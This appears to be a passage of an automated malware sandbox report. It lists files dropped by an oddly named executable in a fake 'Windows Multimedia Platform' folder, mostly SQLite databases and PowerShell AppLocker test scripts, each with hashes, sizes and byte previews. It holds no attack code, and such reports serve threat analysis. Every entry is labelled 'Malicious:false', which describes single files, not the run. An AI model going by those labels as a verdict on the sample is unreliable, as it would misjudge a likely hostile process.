                                                                  MD5:05A60B4620923FD5D53B9204391452AF
                                                                  SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                  SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                  SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\FNwPJl5D7I

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                  Category:modified
                                                                  Size (bytes):114688
                                                                  Entropy (8bit):0.9746603542602881
                                                                  Encrypted:false
                                                                  SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                  MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                  SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                  SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                  SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\H2rEwx9gzC

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                  Category:dropped
                                                                  Size (bytes):114688
                                                                  Entropy (8bit):0.9746603542602881
                                                                  Encrypted:false
                                                                  SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                  MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                  SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                  SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                  SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\HJiW5EtlSp

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                  Category:dropped
                                                                  Size (bytes):106496
                                                                  Entropy (8bit):1.1358696453229276
                                                                  Encrypted:false
                                                                  SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                  MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                  SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                  SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                  SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\Hqq456rMzf

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                  Category:dropped
                                                                  Size (bytes):98304
                                                                  Entropy (8bit):0.08235737944063153
                                                                  Encrypted:false
                                                                  SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                  MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                  SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                  SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                  SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\PUr9zNWRzt

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                  Category:dropped
                                                                  Size (bytes):49152
                                                                  Entropy (8bit):0.8180424350137764
                                                                  Encrypted:false
                                                                  SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                  MD5:349E6EB110E34A08924D92F6B334801D
                                                                  SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                  SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                  SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\RESF5B1.tmp

                                                                  Download File
                                                                  Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                  File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6ec, 10 symbols, created Mon Jan 13 13:25:47 2025, 1st section name ".debug$S"
                                                                  Category:dropped
                                                                  Size (bytes):1956
                                                                  Entropy (8bit):4.556411677655966
                                                                  Encrypted:false
                                                                  SSDEEP:24:HUO9/OCHItDfH1wKEsmNyluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+QlUZ:kCox2KhmMluOulajfqXSfbNtmh1Z
                                                                  MD5:EEF3D10DAC685D65CF95BA02ECF00BED
                                                                  SHA1:AF58818C1DA9DE30FFDE8CE5C48667C43BA8E85D
                                                                  SHA-256:18ED7987A965B8EA1460229E7D925DF191BDE592036BD85E5C794C624AB524E0
                                                                  SHA-512:A17A034E55EDCE3B1414CFDE26FE3D78CC07581D977F016C7D56AC488C5216317A2EB0342F531D952C5B504A0F5E99B4985A2AB7F3366598EE65986FEAEB55C1
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:L...[..g.............debug$S........<...................@..B.rsrc$01................h...........@..@.rsrc$02........p...|...............@..@........=....c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP.....................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RESF5B1.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................|...............................................|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pttneja.c4f.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0vtfhoew.jp1.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1420202d.a45.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1b0wspe3.rk1.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bbx5n0a.zpe.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wvlabax.yai.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1x2kxq0b.xf5.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ose4spy.m3w.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3e3poexe.vev.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3la534n0.c4e.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4dxhgbge.fbz.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4kyp0eb0.hyd.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lohd0j5.hk4.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bas1ibg.3lr.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bbziky2.ihn.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5fk1csgs.reh.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ggg31uu.jwd.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aaodsz11.rh2.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aog4tj1s.2iq.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_athespfu.my4.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjt00oko.3yt.psm1

                                                                  Download File
